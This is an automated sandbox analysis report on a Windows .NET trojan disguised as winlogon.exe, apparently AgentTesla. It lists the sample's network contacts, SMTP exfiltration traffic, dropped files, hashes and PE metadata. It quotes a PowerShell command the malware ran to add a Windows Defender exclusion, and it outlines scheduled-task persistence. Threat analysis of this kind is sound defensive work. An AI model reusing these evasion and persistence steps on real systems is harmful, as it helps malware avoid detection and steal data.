https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
us2.smtp.mailhostbox.com	208.91.199.224	true	false		high
smtp.stockmeieir.com	unknown	unknown	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://127.0.0.1:HTTP/1.1	RegSvcs.exe, 00000006.00000002.929063872.0000000002901000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
http://smtp.stockmeieir.com	RegSvcs.exe, 00000006.00000002.929285525.0000000002A52000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://wwHpow.com	RegSvcs.exe, 00000006.00000002.929063872.0000000002901000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://Qr1QL48h5BTOb.com	RegSvcs.exe, 00000006.00000002.929225214.0000000002A03000.00000004.00000001.sdmp, RegSvcs.exe, 00000006.00000002.929273138.0000000002A4C000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://api.ipify.org%GETMozilla/5.0	RegSvcs.exe, 00000006.00000002.929063872.0000000002901000.00000004.00000001.sdmp	false	URL Reputation: safe	low
http://DynDns.comDynDNS	RegSvcs.exe, 00000006.00000002.929063872.0000000002901000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://us2.smtp.mailhostbox.com	RegSvcs.exe, 00000006.00000002.929285525.0000000002A52000.00000004.00000001.sdmp	false		high
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha	RegSvcs.exe, 00000006.00000002.929063872.0000000002901000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	winlogon.exe, 00000000.00000002.676484155.0000000002CB3000.00000004.00000001.sdmp, winlogon.exe, 00000000.00000002.676341483.0000000002BD1000.00000004.00000001.sdmp	false		high
https://api.ipify.org%	RegSvcs.exe, 00000006.00000002.929145314.00000000029AC000.00000004.00000001.sdmp	false	URL Reputation: safe	low
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip	winlogon.exe, 00000000.00000002.678289324.0000000003BD9000.00000004.00000001.sdmp, RegSvcs.exe, 00000006.00000000.673745105.0000000000402000.00000040.00000001.sdmp, RegSvcs.exe, 00000006.00000000.672598413.0000000000402000.00000040.00000001.sdmp	false	URL Reputation: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
208.91.199.224	us2.smtp.mailhostbox.com	United States		394695	PUBLIC-DOMAIN-REGISTRYUS	false

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	532921
Start date:	02.12.2021
Start time:	20:21:14
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 8m 25s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	winlogon.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@9/8@2/2
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): BackgroundTransferHost.exe, backgroundTaskHost.exe, WmiPrvSE.exe, svchost.exe, wuapihost.exe Excluded domains from analysis (whitelisted): ris.api.iris.microsoft.com, ctldl.windowsupdate.com, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, arc.msn.com Not all processes where analyzed, report is missing behavior information Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
20:22:08	API Interceptor	1x Sleep call for process: winlogon.exe modified
20:22:12	API Interceptor	40x Sleep call for process: powershell.exe modified
20:22:23	API Interceptor	826x Sleep call for process: RegSvcs.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
208.91.199.224	Dhl Document.exe	Get hash	malicious	Browse
	hkpg4iBhY1.exe	Get hash	malicious	Browse
	PO_783992883.exe	Get hash	malicious	Browse
	Payment copy $95,914.38MT103_0987658999643PDF.exe	Get hash	malicious	Browse
	Details To Be Reconfirmed.doc	Get hash	malicious	Browse
	03SPwb995m.exe	Get hash	malicious	Browse
	PAGO DEL SALDO.doc	Get hash	malicious	Browse
	MT_1O1_SWIFt.doc	Get hash	malicious	Browse
	Reconfirm The Details.doc	Get hash	malicious	Browse
	Document.exe	Get hash	malicious	Browse
	MT_101_SWIFT.doc	Get hash	malicious	Browse
	ORDER INQUIRY-PVP-SP-2021-58.exe	Get hash	malicious	Browse
	DOC221121.exe	Get hash	malicious	Browse
	TOP QUOTATION RFQ 2021.exe	Get hash	malicious	Browse
	AWB Number 0004318855.DOCX.exe	Get hash	malicious	Browse
	Purchase Order.exe	Get hash	malicious	Browse
	ORDER INQUIRY-PVP-SP-2021-56.exe	Get hash	malicious	Browse
	PRESUPUESTO.xlsx	Get hash	malicious	Browse
	vYeUxRnIbLKDudo.exe	Get hash	malicious	Browse
	DHL Documentos de envio originales.exe	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
us2.smtp.mailhostbox.com	Dhl Document 7348255141.exe	Get hash	malicious	Browse	208.91.198.143
	Dhl Document.exe	Get hash	malicious	Browse	208.91.199.224
	DHL Waybill receipt.exe	Get hash	malicious	Browse	208.91.199.223
	DHL SHIPMENT NOTIFICATION 284748395PD.exe	Get hash	malicious	Browse	208.91.199.223
	Swift MT103 pdf.exe	Get hash	malicious	Browse	208.91.199.225
	Scan096355.exe	Get hash	malicious	Browse	208.91.199.225
	yYa94CeATF8h2NA.exe	Get hash	malicious	Browse	208.91.199.223
	PG4636 - Confirmed .xls.exe	Get hash	malicious	Browse	208.91.198.143
	PG4636 - Confirmed .xls.exe	Get hash	malicious	Browse	208.91.199.225
	BOQ.exe	Get hash	malicious	Browse	208.91.199.223
	RFQ-Spares and tools.exe	Get hash	malicious	Browse	208.91.198.143
	CARTASCONF.xlsx	Get hash	malicious	Browse	208.91.199.224
	Documento de env.exe	Get hash	malicious	Browse	208.91.199.223
	hkpg4iBhY1.exe	Get hash	malicious	Browse	208.91.199.224
	account details and invoice.exe	Get hash	malicious	Browse	208.91.198.143
	justificantepago_es_180208779493.xlsx	Get hash	malicious	Browse	208.91.199.224
	winlogon.exe	Get hash	malicious	Browse	208.91.198.143
	PO_783992883.exe	Get hash	malicious	Browse	208.91.199.223
	OUTWARD SWIFT-103 MSG Payment Transcript.PDF.exe	Get hash	malicious	Browse	208.91.199.223
	ROfr29tilpUhTHx.exe	Get hash	malicious	Browse	208.91.199.223

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
PUBLIC-DOMAIN-REGISTRYUS	Dhl Document 7348255141.exe	Get hash	malicious	Browse	208.91.198.143
	TNT Documents.exe	Get hash	malicious	Browse	119.18.54.99
	Dhl Document.exe	Get hash	malicious	Browse	208.91.199.224
	DHL Waybill receipt.exe	Get hash	malicious	Browse	208.91.199.223
	Shipping Document BL Copy.exe	Get hash	malicious	Browse	103.195.185.115
	DHL SHIPMENT NOTIFICATION 284748395PD.exe	Get hash	malicious	Browse	208.91.199.223
	SHIPPING DOCUMENT & PL.exe	Get hash	malicious	Browse	103.195.185.115
	Swift MT103 pdf.exe	Get hash	malicious	Browse	208.91.199.225
	Scan096355.exe	Get hash	malicious	Browse	208.91.199.225
	yYa94CeATF8h2NA.exe	Get hash	malicious	Browse	208.91.199.223
	part-1500645108.xlsb	Get hash	malicious	Browse	103.76.231.42
	part-1500645108.xlsb	Get hash	malicious	Browse	103.76.231.42
	item-40567503.xlsb	Get hash	malicious	Browse	162.215.254.201
	item-40567503.xlsb	Get hash	malicious	Browse	162.215.254.201
	PG4636 - Confirmed .xls.exe	Get hash	malicious	Browse	208.91.198.143
	item-107262298.xlsb	Get hash	malicious	Browse	162.215.254.201
	item-107262298.xlsb	Get hash	malicious	Browse	162.215.254.201
	item-1202816963.xlsb	Get hash	malicious	Browse	162.215.254.201
	item-1202816963.xlsb	Get hash	malicious	Browse	162.215.254.201
	DHL Receipt.html	Get hash	malicious	Browse	199.79.62.126

JA3 Fingerprints

No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
C:\Users\user\AppData\Roaming\UlhpAjSuVoTa.exe	justificantepago_es_180208779494.xlsx	Get hash	malicious	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\winlogon.exe.log Download File
Process:	C:\Users\user\Desktop\winlogon.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	1310
Entropy (8bit):	5.345651901398759
Encrypted:	false
SSDEEP:	24:MLUE4K5E4Ks2E1qE4qXKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7FE47mE4Ko88:MIHK5HKXE1qHiYHKhQnoPtHoxHhAHKz6
MD5:	D918C6A765EDB90D2A227FE23A3FEC98
SHA1:	8BA802AD8D740F114783F0DADC407CBFD2A209B3
SHA-256:	AB0E9F716E31502A4C6786575C5E64DFD9D24AF99056BBE2640A2FA322CFF4D6
SHA-512:	A937ABD8294BB32A612F8B3A376C94111D688379F0A4DB9FAA2FCEB71C25E18D621EEBCFDA5706B71C8473A4F38D8B3C4005D1589B564F9B1C9C441B6D337814
Malicious:	true
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	22320
Entropy (8bit):	5.602598488027755
Encrypted:	false
SSDEEP:	384:StCDm0QsEdEY7SlxRgS0nUjultIi77Y9gFSJ3x6T1MaPZlbAV77FvOZBDI+9zg:l/sTUClt9fFcACOfwPIV4
MD5:	AA1D3E3546DF44DAE5F48413437EDBE4
SHA1:	5C5AE47F753AA6EAE575C7C9750D76BAB26EBD5B
SHA-256:	E0CFFE057ABB82AEE8350F87A2D10B3F4C838767B04847B858D1E7AB25F6B7D3
SHA-512:	591B822BEA9032C0A33BAE648B34BB993B60D22A49D0A70C01750F21575A1C1842B06A4AF0C1ED52C9112058775AD6C5F602782E7AD96999B6F42C1E851F3E41
Malicious:	false
Reputation:	low
Preview:	@...e...................h.p...........M...I..........@..........H...............<@.^.L."My...:U..... .Microsoft.PowerShell.ConsoleHostD...............fZve...F.....x.)........System.Management.Automation4...............[...{a.C..%6..h.........System.Core.0...............G-.o...A...4B..........System..4................Zg5..:O..g..q..........System.Xml..L...............7.....J@......~.......#.Microsoft.Management.Infrastructure.8................'....L..}............System.Numerics.@................Lo...QN......<Q........System.DirectoryServices<................H..QN.Y.f............System.Management...4....................].D.E.....#.......System.Data.H................. ....H..m)aUu.........Microsoft.PowerShell.Security...<.................~.[L.D.Z.>..m.........System.Transactions.<................):gK..G...$.1.q........System.ConfigurationP................./.C..J..%...].......%.Microsoft.PowerShell.Commands.Utility...D..................-.D.F.<;.nt.1........System.Configuration.Ins

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0gbn1r51.3xf.ps1 Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_brqhmx13.5q1.psm1 Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1

C:\Users\user\AppData\Local\Temp\tmpD7F1.tmp Download File
Process:	C:\Users\user\Desktop\winlogon.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1599
Entropy (8bit):	5.139934532028239
Encrypted:	false
SSDEEP:	24:2di4+S2qh/S1KTy1moCUnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtaTxvn:cgeKwYrFdOFzOzN33ODOiDdKrsuTIv
MD5:	69054F2C960937C174E7410ABB925255
SHA1:	ED6E69491A37FFA722743420727CE92B37D7C122
SHA-256:	F2BACD6A1A1788FF112806BC7D1AEE8A1468C881ED71096151A72FDF38F1D7B2
SHA-512:	8A96CEDF8600A43B044A76E3164BABD9260D2C0F1CBE4FC9448C945E4FF91143512D7DE3B6A1FC153A99EF5C12AC4981894C01A1F8D5B5AFF5FAE32BAB237C33
Malicious:	true
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>computer\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>computer\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>computer\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <

C:\Users\user\AppData\Roaming\UlhpAjSuVoTa.exe Download File
Process:	C:\Users\user\Desktop\winlogon.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	473600
Entropy (8bit):	7.814013296316778
Encrypted:	false
SSDEEP:	12288:Tu39J++7isfbzaXkpbWiVSDZynHjqRpfJ2Wfi/Srws:TutJ++7lzzkCUZSHjqff9fi6r
MD5:	629F5BB8B5EE75E90C393AD9D96A1772
SHA1:	B09925A7163BEF858657A1B39146FE27ABB01F99
SHA-256:	15637F2D530662C968272C1E6E48CA6A093F0C828EDF0CBB5CD32D9AF03B3FF5
SHA-512:	3434C0B1F42533C42A4232809A007DDFD340EBC0D500DB436CD038E3D3B4AAF0FD8BCF36E3A1CEE4442C5D894679F5CDC7CEF5A90C04534F937121D6CC9E3857
Malicious:	true
Joe Sandbox View:	Filename: justificantepago_es_180208779494.xlsx, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....hO...............0..0...........N... ...`....@.. ....................................@.................................tN..O....`..............................XN............................................... ............... ..H............text........ ...0.................. ..`.rsrc........`.......2..............@..@.reloc...............8..............@..B.................N......H.......@E..........X....s..`............................................0...........(.......s....}.....{....r...p.o......{....r...p.o......s2...}.....(....{...........s....o......(....{...........s....o......(....o....&....0............{.....+...0............{.....+..&...}........(....o5...}......(....o3...}.....(........0..Q..........r...pr...p.{.....{....s.....{....s?...(......(....o....&.(....o............-.....0..e........(........}......{.....{....s....}......++..

C:\Users\user\AppData\Roaming\UlhpAjSuVoTa.exe:Zone.Identifier Download File
Process:	C:\Users\user\Desktop\winlogon.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\Documents\20211202\PowerShell_transcript.506013.Hm7BnSFA.20211202202210.txt Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	5797
Entropy (8bit):	5.390476094744057
Encrypted:	false
SSDEEP:	96:BZ+jbNZqDo1ZuZajbNZqDo1Z25bRjZqjbNZqDo1ZSNohhWjZUa:z
MD5:	ADA12A7BE4CD5E6A7CD39358076285E4
SHA1:	A7F4AB45E34FC800EE46D2D44C97E5190ED03D54
SHA-256:	79BAB3A013939F122B176E38C0B68B121F8B6BA5850818ACCEDE73838B3F6A40
SHA-512:	993858A2B3F9EF8388D64B745AE3AC46712231D27BCA9D932CB101C1E188FF41CC88BC192D0B4413A496AB7343FC02BFDB8C896D4C0644D90B87D9DC6010ABC2
Malicious:	false
Preview:	.********************..Windows PowerShell transcript start..Start time: 20211202202211..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 506013 (Microsoft Windows NT 10.0.17134.0)..Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath C:\Users\user\AppData\Roaming\UlhpAjSuVoTa.exe..Process ID: 6968..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..******************..******************..Command start time: 20211202202211..******************..PS>Add-MpPreference -ExclusionPath C:\Users\user\AppData\Roaming\UlhpAjSuVoTa.exe..********************..Windows PowerShell transcript start..Start time: 20211202202538..Username: computer\user..RunAs User: computer\

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.814013296316778
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	winlogon.exe
File size:	473600
MD5:	629f5bb8b5ee75e90c393ad9d96a1772
SHA1:	b09925a7163bef858657a1b39146fe27abb01f99
SHA256:	15637f2d530662c968272c1e6e48ca6a093f0c828edf0cbb5cd32d9af03b3ff5
SHA512:	3434c0b1f42533c42a4232809a007ddfd340ebc0d500db436cd038e3d3b4aaf0fd8bcf36e3a1cee4442c5d894679f5cdc7cef5a90c04534f937121d6cc9e3857
SSDEEP:	12288:Tu39J++7isfbzaXkpbWiVSDZynHjqRpfJ2Wfi/Srws:TutJ++7lzzkCUZSHjqff9fi6r
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....hO...............0..0...........N... ...`....@.. ....................................@................................

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General
Entrypoint:	0x474ec6
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0xE54F68FF [Thu Nov 29 14:58:07 2091 UTC]
TLS Callbacks:
CLR (.Net) Version:	v4.0.30319
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
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Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x74e74	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x76000	0x514	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x78000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x74e58	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x72ecc	0x73000	False	0.893866762908	data	7.82547153814	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rsrc	0x76000	0x514	0x600	False	0.3828125	data	3.82946279488	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x78000	0xc	0x200	False	0.044921875	data	0.101910425663	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_VERSION	0x76090	0x284	data
RT_MANIFEST	0x76324	0x1ea	XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators

Imports

DLL	Import
mscoree.dll	_CorExeMain

Version Infos

Description	Data
Translation	0x0000 0x04b0
LegalCopyright
Assembly Version	0.0.0.0
InternalName	CancellationCallbackIn.exe
FileVersion	0.0.0.0
ProductVersion	0.0.0.0
FileDescription
OriginalFilename	CancellationCallbackIn.exe

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
12/02/21-20:23:48.879737	TCP	2030171	ET TROJAN AgentTesla Exfil Via SMTP	49843	587	192.168.2.4	208.91.199.224

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 2, 2021 20:23:47.537733078 CET	49843	587	192.168.2.4	208.91.199.224
Dec 2, 2021 20:23:47.687623024 CET	587	49843	208.91.199.224	192.168.2.4
Dec 2, 2021 20:23:47.690627098 CET	49843	587	192.168.2.4	208.91.199.224
Dec 2, 2021 20:23:47.924026012 CET	587	49843	208.91.199.224	192.168.2.4
Dec 2, 2021 20:23:47.924518108 CET	49843	587	192.168.2.4	208.91.199.224
Dec 2, 2021 20:23:48.074357986 CET	587	49843	208.91.199.224	192.168.2.4
Dec 2, 2021 20:23:48.074382067 CET	587	49843	208.91.199.224	192.168.2.4
Dec 2, 2021 20:23:48.075438023 CET	49843	587	192.168.2.4	208.91.199.224
Dec 2, 2021 20:23:48.226380110 CET	587	49843	208.91.199.224	192.168.2.4
Dec 2, 2021 20:23:48.226877928 CET	49843	587	192.168.2.4	208.91.199.224
Dec 2, 2021 20:23:48.378978014 CET	587	49843	208.91.199.224	192.168.2.4
Dec 2, 2021 20:23:48.379654884 CET	49843	587	192.168.2.4	208.91.199.224
Dec 2, 2021 20:23:48.530858040 CET	587	49843	208.91.199.224	192.168.2.4
Dec 2, 2021 20:23:48.531563044 CET	49843	587	192.168.2.4	208.91.199.224
Dec 2, 2021 20:23:48.721369982 CET	587	49843	208.91.199.224	192.168.2.4
Dec 2, 2021 20:23:48.727202892 CET	587	49843	208.91.199.224	192.168.2.4
Dec 2, 2021 20:23:48.727817059 CET	49843	587	192.168.2.4	208.91.199.224
Dec 2, 2021 20:23:48.877969027 CET	587	49843	208.91.199.224	192.168.2.4
Dec 2, 2021 20:23:48.878220081 CET	587	49843	208.91.199.224	192.168.2.4
Dec 2, 2021 20:23:48.879736900 CET	49843	587	192.168.2.4	208.91.199.224
Dec 2, 2021 20:23:48.879857063 CET	49843	587	192.168.2.4	208.91.199.224
Dec 2, 2021 20:23:48.880605936 CET	49843	587	192.168.2.4	208.91.199.224
Dec 2, 2021 20:23:48.880714893 CET	49843	587	192.168.2.4	208.91.199.224
Dec 2, 2021 20:23:49.029740095 CET	587	49843	208.91.199.224	192.168.2.4
Dec 2, 2021 20:23:49.030546904 CET	587	49843	208.91.199.224	192.168.2.4
Dec 2, 2021 20:23:49.086833000 CET	587	49843	208.91.199.224	192.168.2.4
Dec 2, 2021 20:23:49.137166977 CET	49843	587	192.168.2.4	208.91.199.224

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 2, 2021 20:23:47.315831900 CET	51726	53	192.168.2.4	8.8.8.8
Dec 2, 2021 20:23:47.468144894 CET	53	51726	8.8.8.8	192.168.2.4
Dec 2, 2021 20:23:47.502657890 CET	56794	53	192.168.2.4	8.8.8.8
Dec 2, 2021 20:23:47.522454023 CET	53	56794	8.8.8.8	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Dec 2, 2021 20:23:47.315831900 CET	192.168.2.4	8.8.8.8	0xd9fa	Standard query (0)	smtp.stockmeieir.com	A (IP address)	IN (0x0001)
Dec 2, 2021 20:23:47.502657890 CET	192.168.2.4	8.8.8.8	0x53fb	Standard query (0)	smtp.stockmeieir.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Dec 2, 2021 20:23:47.468144894 CET	8.8.8.8	192.168.2.4	0xd9fa	No error (0)	smtp.stockmeieir.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)
Dec 2, 2021 20:23:47.468144894 CET	8.8.8.8	192.168.2.4	0xd9fa	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)
Dec 2, 2021 20:23:47.468144894 CET	8.8.8.8	192.168.2.4	0xd9fa	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)
Dec 2, 2021 20:23:47.468144894 CET	8.8.8.8	192.168.2.4	0xd9fa	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)
Dec 2, 2021 20:23:47.468144894 CET	8.8.8.8	192.168.2.4	0xd9fa	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)
